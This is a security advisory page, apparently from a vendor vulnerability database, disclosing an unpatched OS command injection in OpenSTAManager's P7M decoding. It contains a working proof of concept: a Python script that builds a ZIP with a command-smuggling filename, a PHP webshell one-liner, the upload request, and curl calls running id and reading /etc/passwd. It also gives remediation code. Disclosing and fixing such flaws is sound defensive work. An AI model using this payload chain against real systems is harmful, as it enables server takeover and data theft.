Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-25fp-8w8p-mx36

OpenSTAManager has an OS Command Injection in P7M File Processing

Also known asCVE-2025-69212
Published
Feb 6, 2026
Updated
Feb 22, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.8%probability of exploitation in next 30 days
Lower Risk75th percentile+1.62%
0.00%0.75%1.50%2.25%0.1%0.1%0.1%0.1%1.8%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘devcode-it/openstamanager

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.

Vulnerable Code

File: src/Util/XML.php:100

public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

The Problem:

  • The $file parameter is passed directly into exec() without sanitization
  • Although wrapped in double quotes, an attacker can escape them
  • The filename comes from uploaded ZIP archives (user-controlled)

Attack Vector

Entry Points:

  1. plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled)

    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (constructor)

    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

Attack Flow:

  1. Attacker creates ZIP with malicious filename
  2. Upload ZIP via importFE_ZIP plugin
  3. Application extracts ZIP and iterates files
  4. For .p7m files, decodeP7M() is called
  5. Malicious filename is injected into exec() command
  6. Arbitrary command executes as web server user

Proof of Concept

⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.

Step 1: Create Malicious ZIP

import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Step 2: Upload ZIP

POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
<img width="2539" height="809" alt="image" src="https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1" /> <img width="1543" height="659" alt="image" src="https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be" />

Step 3: Exploitation Result

Response (500 error is expected - XML parsing fails AFTER command execution):

HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verification - Webshell Created:

<img width="1111" height="239" alt="image" src="https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1" />

Step 4: Remote Code Execution

Webshell is publicly accessible without authentication:

$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
<img width="698" height="475" alt="image" src="https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d" />

Impact

  • Remote Code Execution: Full server compromise
  • Data Exfiltration: Access to all application data and database
  • Privilege Escalation: Potential escalation if web server runs with elevated privileges
  • Persistence: Install backdoors and maintain access
  • Lateral Movement: Pivot to other systems on the network

Prerequisites

  • Authenticated user with access to invoice import functionality

Remediation

Input Sanitization

public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

or

Validate Filename Before Processing

// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Credit

Discovered by: Łukasz Rybak

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistdevcode-it/openstamanagerall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of devcode-it/openstamanager has shipped for GHSA-25fp-8w8p-mx36 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-25fp-8w8p-mx36 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-25fp-8w8p-mx36. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server. ## Vulnerable Code **File:** `src/Util/XML.php:100` ```php public static function decodeP7M($file) { $directory = pathinfo($file, PATHINFO_DIRNAME); $content = file_get_contents($file); $output_file = $directory.'/'.basename($file, '.p7m'); try { if (function_exists('exec')) { // VULNERABLE -
O3 Security · Impact-Aware SCA

Is GHSA-25fp-8w8p-mx36 in your dependencies?

O3 detects GHSA-25fp-8w8p-mx36 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.